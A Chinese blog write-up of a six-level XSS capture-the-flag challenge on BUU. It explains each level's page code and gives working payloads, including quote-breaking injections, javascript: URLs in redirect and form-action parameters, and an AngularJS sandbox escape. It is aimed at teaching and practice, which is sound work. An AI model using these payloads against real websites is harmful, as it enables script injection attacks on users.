xss闯关

server/2025/2/12 7:40:45/

BUU上的[第二章 web进阶]XSS闯关

第一关

第一关很简单,没有任何过滤,直接输入:<script>alert()</script>即可。

第二关

第二关可以输入xss和<script>alert()</script>分别查看页面源代码,看看哪里变了。下面是输入发生变化的代码。

if(location.search == ""){//查看url中是否有查询字符串,包括开头的?,如果有,返回字符串,如果没有返回空字符location.search = "?username=xss"//将url中的查询字符串命名为?username=xss,且不会再改变。}var username = 'xss';//输入document.getElementById('ccc').innerHTML= "Welcome " + escape(username);//找到ID为 'ccc' 的HTML元素,并将其内部的HTML内容替换为 "Welcome " 加上 username 变量的值(username 的值经过 escape() 函数处理),使用双斜线进行过滤。

输入:?username=xss';alert(1);//

第三关

输入第二关的payload,发现多了一个单引号和斜线,形成了闭合。

输入:?username='';alert(1);//

第四关

进入第四关发现页面在不断的跳转,输入:?jumpUrl=javascript:alert(1)

javascript:会将此后面的语句当作代码执行,所以,输入此后的再次跳转就会执行alert(1)。

第五关

查看页面源代码,发现一段js代码。

if(getQueryVariable('autosubmit') !== false){//查看url中是否有autosubmit参数如果有,返回它的值,如果没有,返回false,没有的话执行if语句var autoForm = document.getElementById('autoForm');//通过 ID 获取页面中的表单元素,假设表单的 ID 是 autoForm。autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');//如果没有action,执行location.href,有action且action!=false,执行getQueryVariable('action')。将最后的值赋值给autoForm.action。autoForm.submit();//提交表单
}else{}
function getQueryVariable(variable){var query = window.location.search.substring(1);//获取当前页面的查询字符串(即 URL 中 `?` 后的部分)var vars = query.split("&");//按&符号将参数拆解成数组for (var i=0;i<vars.length;i++) {var pair = vars[i].split("=");//通过=将数据分为参数和值if(pair[0] == variable){return pair[1];}//如果参数是查询的参数,返回它的值}return(false);//返回false
}

综上,我们需要有autosubmit进入if语句,然后利用action参数进行xss注入。

输入:?autosubmit=1&action=JavaScript:alert(1);//

第六关

查看页面源代码,发现一个链接,不过里面是一堆js代码,在下面找到一段js代码:

<script type="text/javascript">if(location.search == ""){//查询有没有查询的参数,好像也没啥东西。location.search = "?username=xss"}
</script>

看别的师傅了解到沙箱逃逸,先传参{ {7*9}},发现被运算。

输入:?username={ {'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

'a'.constructor 返回 String 构造函数。

.prototype 访问 String 的原型对象。

.charAtString 原型上的一个方法,用于获取字符串中指定位置的字符。

=[].join;String.prototype.charAt 方法重写为数组的 join 方法。这意味着当你尝试调用 charAt 方法时,实际上会调用 join 方法。

这样绕过了AngularJS的防御机制,使得后面的代码可以执行。

eval函数接受一个字符串参数,并将其作为AngularJS表达式进行求值。在这里,字符串参数包含恶意代码 x=1} } };alert(1)//'。这段代码试图关闭现有的AngularJS表达式,然后触发一个JavaScript alert弹窗,以实现攻击目的。

最终得到flag:n1book{xss_is_so_interesting}


http://www.ppmy.cn/server/166996.html

相关文章

第二十一章:考研的艰难抉择与放弃入学的转折

深秋时节&#xff0c;校园宛如被大自然精心雕琢的艺术殿堂。金黄的银杏叶在阳光的轻抚下&#xff0c;闪烁着细碎的光芒&#xff0c;微风拂过&#xff0c;叶片相互摩挲&#xff0c;发出沙沙的轻响&#xff0c;仿佛在低声诉说着岁月的故事。一片片银杏叶悠悠然飘落&#xff0c;宛…

python--sqlite

1. 连接到数据库 使用 sqlite3.connect() 方法可以创建一个到SQLite数据库的连接。如果指定的数据库文件不存在&#xff0c;它会自动创建一个新的数据库文件。 import sqlite3# 连接到数据库&#xff0c;如果数据库文件不存在则会创建一个新的 conn sqlite3.connect(example…

动态词表设计:从小说创作到超大规模语言模型的启示

在自然语言处理(NLP)领域,随着深度学习技术的发展,构建能够理解和生成人类语言的大规模语言模型成为了研究热点。然而,随着词汇量的增长,传统的固定大小词表方法面临着计算资源和效率的巨大挑战。本文将探讨一种创新的动态词表设计思路,并通过类比小说创作过程来论证这种…

25考研材料复试面试常见核心问题真题汇总,材料考研复试面试有哪些经典问题?材料考研复试过程最看重什么内容?

材料复试面试难&#xff01;千万不要死磕&#xff01;复试是有技巧的&#xff01; 是不是刷了三天三夜经验贴&#xff0c;还是不知道材料复试会问啥&#xff1f;去年我复试时被导师连环追问"非晶合金的原子扩散机制"&#xff0c;差点当场宕机...今天学姐掏心窝总结&…

自动化xpath定位元素(附几款浏览器xpath插件)

在 Web 自动化测试、数据采集、前端调试中&#xff0c;XPath 仍然是不可或缺的技能。虽然 CSS 选择器越来越强大&#xff0c;但面对复杂 DOM 结构时&#xff0c;XPath 仍然更具灵活性。因此&#xff0c;掌握 XPath&#xff0c;不仅能提高自动化测试的稳定性&#xff0c;还能在爬…

嵌入式Linux系统下的 QT 截图程序

嵌入式Linux系统下的 QT 截图程序 前言环境配置QT程序源码效果 前言 程序可以截取整个屏幕 环境配置 Linux终端运行QT程序&#xff0c;环境变量配置 export QT_EGLFS_IMX6_NO_FB_MULTI_BUFFER1# 嵌入式FrameBuffer模式 export QT_QPA_PLATFORMlinuxfb:fb/dev/fb0 # 或使用…

无人机图像拼接数据在GIS中的处理与分析、可视化与制图;无人机航拍;无人机生态环境监测、图像处理与GIS数据分析

ArcGIS作为地理信息系统领域最主流的GIS平台软件&#xff0c;空间数据处理和分析功能强大&#xff0c;十分适用于地表空间监测数据的读写、管理、分析与可视化。本教程融合无人机生态环境监测技术和ArcGIS数据分析技术&#xff0c;通过具体案例分析与软件操作实践&#xff0c;详…

【自学笔记】JavaScript基础知识点总览-持续更新

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 JavaScript重点知识点总览一、JavaScript基础1. 变量与数据类型2. 运算符3. 分支结构4. 循环结构 二、函数与作用域1. 函数2. 作用域3. 作用域链 三、面向对象编程1…